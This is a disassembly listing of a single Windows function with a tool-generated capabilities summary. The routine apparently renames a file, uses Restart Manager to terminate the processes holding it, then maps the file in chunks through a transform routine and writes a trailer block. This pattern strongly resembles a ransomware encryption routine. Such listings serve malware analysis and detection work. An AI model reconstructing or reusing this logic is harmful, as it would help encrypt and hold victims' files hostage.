Function at 0x4039d0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Get system information on windows
Move file
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ab0
call fcn.00412b70
cmp dword [ebp + 8], 0
je 0x403e2b
mov ecx, dword [ebp + 0x10]
xorps xmm0, xmm0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], 1
movlpd qword [ebp - 0x30], xmm0
mov dword [ebp - 0x10], 1
test ecx, ecx
jg 0x403a38
jl 0x403a10
cmp eax, 0x100000
ja 0x403a15
mov dword [ebp - 0xc], eax
jmp 0x403a46
test ecx, ecx
jg 0x403a38
jl 0x403a3f
cmp eax, 0xa00000
jbe 0x403a3f
test ecx, ecx
jg 0x403a38
jl 0x403a2f
cmp eax, 0x6400000
ja 0x403a38
mov dword [ebp - 0x10], 5
jmp 0x403a3f
mov dword [ebp - 0x10], 0x64
mov dword [ebp - 0xc], 0x100000
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403a60
sub ecx, edx
mov edx, dword [0x43a888]
push esi
sar ecx, 1
lea esi, [edx + 2]
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x403a80
sub edx, esi
sar edx, 1
push ebx
lea eax, [edx + ecx]
lea eax, [eax*2 + 4]
push eax
call fcn.00401960
mov edx, dword [ebp + 8]
mov ebx, eax
add esp, 4
mov dword [ebp - 0x18], ebx
mov esi, ebx
nop dword [eax]
movzx ecx, word [edx]
lea edx, [edx + 2]
mov word [esi], cx
lea esi, [esi + 2]
test cx, cx
jne 0x403ab0
push edi
lea edi, [ebx - 2]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x403ac5
mov eax, dword [0x42934c]
mov dword [edi], eax
mov edx, dword [0x43a888]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x403ae0
sub edx, esi
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x403af0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 9
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x403e28
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
mov dword [ebp - 0x20], esi
cmp esi, 0xffffffff
jne 0x403c7d
nop dword [eax]
cmp dword [ebp - 4], 0
je 0x403e28
push 0x42
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.00413b10
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
push 0
lea eax, [ebp - 8]
push eax
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x403e28
push eax
push eax
push eax
push eax
lea eax, [ebp + 8]
push eax
push 1
push dword [ebp - 8]
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
jne 0x403c3f
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x1ab0]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
jne 0x403c3f
xor ebx, ebx
cmp dword [ebp - 4], ebx
jbe 0x403c3f
lea edi, [ebp - 0x1ab0]
mov eax, dword [edi + 0x28c]
cmp eax, 4
je 0x403c33
cmp eax, 0x3e8
je 0x403c33
mov esi, dword [edi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, esi
je 0x403c33
push esi
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x403c33
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
add edi, 0x29c
cmp ebx, dword [ebp - 4]
jb 0x403be4
push dword [ebp - 8]
call sub.RstrtMgr.DLL_RmEndSession
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push dword [ebp - 0x18]
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x20], eax
cmp esi, 0xffffffff
je 0x403b60
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 0xc]
push 0
lea eax, [edi + 0x200]
push eax
mov eax, edi
add eax, 0x200
mov eax, dword [ebp + 0x10]
adc eax, 0
push eax
push 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 4], eax
test eax, eax
jne 0x403cb3
push esi
call ebx
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 0x10]
mov dword [ebp - 0x18], 0
push dword [ebp + 0x10]
push edi
call fcn.00412800
mov esi, dword [ebp + 8]
mov ecx, edx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x28], ecx
push ecx
push dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.004128b0
push 0
push dword [ebp - 0x1c]
mov ecx, edx
mov dword [ebp - 8], eax
push ecx
push eax
mov dword [ebp - 0x14], ecx
call fcn.00412ab0
mov ecx, eax
or ecx, edx
jne 0x403d06
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0x14]
jmp 0x403d22
test edx, edx
jl 0x403d22
jg 0x403d10
test eax, eax
je 0x403d22
mov esi, dword [ebp - 0x1c]
mov edi, 0
sub esi, eax
sbb edi, edx
add esi, dword [ebp - 8]
adc edi, dword [ebp - 0x14]
push dword [ebp - 0xc]
push esi
push edi
push 0xf001f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x403e1e
push dword [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x30]
push eax
push 1
push dword [0x43a878]
call fcn.004045f0
add esp, 0x18
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, dword [ebp - 0x10]
jl 0x403cd8
mov edi, dword [ebp + 0xc]
push 0
push dword [ebp - 0x1c]
push dword [ebp + 0x10]
push edi
call fcn.00412ab0
mov esi, eax
mov ecx, esi
or ecx, edx
jne 0x403dbb
push 0x200
push edi
push dword [ebp + 0x10]
push 0xf001f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
je 0x403e1e
mov esi, dword [0x43a874]
mov ecx, 0x80
mov edi, eax
rep movsd dword es:[edi], dword [esi]
jmp 0x403dfb
test edx, edx
jl 0x403df9
jg 0x403dc5
test esi, esi
je 0x403df9
mov ecx, dword [ebp + 0x10]
lea eax, [esi + 0x200]
push eax
sub edi, esi
push edi
sbb ecx, edx
push ecx
push 0xf001f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
je 0x403e1e
lea edi, [esi + eax]
mov ecx, 0x80
mov esi, dword [0x43a874]
rep movsd dword es:[edi], dword [esi]
jmp 0x403dfb
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 4]
call ebx
push dword [ebp - 0x20]
call ebx
push dword [ebp + 8]
call fcn.004012d0
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
call ebx
push dword [ebp - 0x20]
call ebx
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret